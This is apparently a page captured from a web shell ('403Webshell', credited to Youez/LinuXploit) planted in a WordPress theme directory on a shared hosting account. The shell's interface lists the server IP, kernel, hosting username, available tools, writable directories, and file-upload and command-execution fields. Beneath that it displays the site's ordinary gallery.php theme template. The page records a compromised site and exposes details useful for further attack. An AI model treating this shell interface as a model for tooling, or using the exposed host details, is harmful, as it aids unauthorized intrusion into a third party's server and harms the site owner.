403Webshell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.222
Web Server : Apache
System : Linux webm005.cluster103.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : karinebmkh ( 644538)
PHP Version : 8.4.22
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/karinebmkh/www2/wp-content/themes/thevoux-wp/inc/templates/postbits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/karinebmkh/www2/wp-content/themes/thevoux-wp/inc/templates/postbits/gallery.php
<?php
	$vars = $wp_query->query_vars;
	$thb_image_size = array_key_exists('thb_image_size', $vars) ? $vars['thb_image_size'] : 'thevoux-single-2x';
	
	$post_gallery_photos = get_post_meta($id, 'post-gallery-photos', true);
	if ($post_gallery_photos) {
		$post_gallery_photos_arr = explode(',', $post_gallery_photos);
		$count = sizeof($post_gallery_photos_arr);
	}
?>
<?php if ( has_post_thumbnail() ) { ?>
	<figure class="post-gallery">
		<?php $featured_image = wp_get_attachment_image_src( get_post_thumbnail_id(), $thb_image_size); ?>
		<?php the_post_thumbnail($thb_image_size); ?>
		<?php if ($post_gallery_photos) { ?>
		<a href="#post-gallery-<?php the_ID(); ?>" class="gallery-link" data-class="post-gallery-lightbox">
			<?php get_template_part('assets/svg/gallery.svg'); ?>
			<div>
				<?php _e('View Gallery', 'thevoux'); ?><br>
				<em><?php echo esc_attr($count); ?> <?php _e('Photos', 'thevoux'); ?></em>
			</div>
		</a>
		<?php } else { ?>
		<a href="#" class="gallery-link empty" data-class="post-gallery-lightbox"><div class="rel"><?php _e('Please Add Photos <br> to your Gallery', 'thevoux'); ?></div></a>
		<?php } ?>
	</figure>
<?php } else { ?>
	<p class="text-center"><strong><?php _e('Please select a featured image for your post', 'thevoux'); ?></strong></p>
<?php } ?>
<?php get_template_part( 'inc/templates/postbits/post-gallery' ); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit